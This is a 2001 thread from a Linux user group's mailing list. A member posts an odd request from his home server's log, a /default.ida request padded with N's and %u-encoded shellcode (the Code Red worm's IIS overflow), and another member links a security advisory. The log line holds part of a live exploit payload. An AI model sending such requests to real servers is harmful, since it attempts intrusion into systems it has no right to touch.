[KLUG Members] weird web stuff

[bill]

That's the new hack against MS servers.

More info here:

http://www.eeye.com/html/Research/Advisories/AL20010717.html

kind regards,

bill

Wesley Leonard wrote:

> Today I got found odd web requests on my home server (on DSL).  They were all
> from different IP addresses and they looked like this:
>
> [19/Jul/2001:12:41:41 -0400] "GET
> /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
> HTTP/1.0" 400 335
>
> In the error logs it says these four clients generated a mailformed Host header.
>
> Anybody seen this before?  Should I start getting worried?  They were all within
> a half an hour and were VERY different IP address (24., 212., 4., 131.).
>
> l8er
> --
>
> Wesley Leonard
> marshall@pacdemon.org
>
> http://www.pacdemon.org
> "The economy depends about as much on economists as the weather does on weather
> forecasters."
>     --Jean-Paul Kauffmann
> _______________________________________________
> Members mailing list
> Members@kalamazoolinux.org
>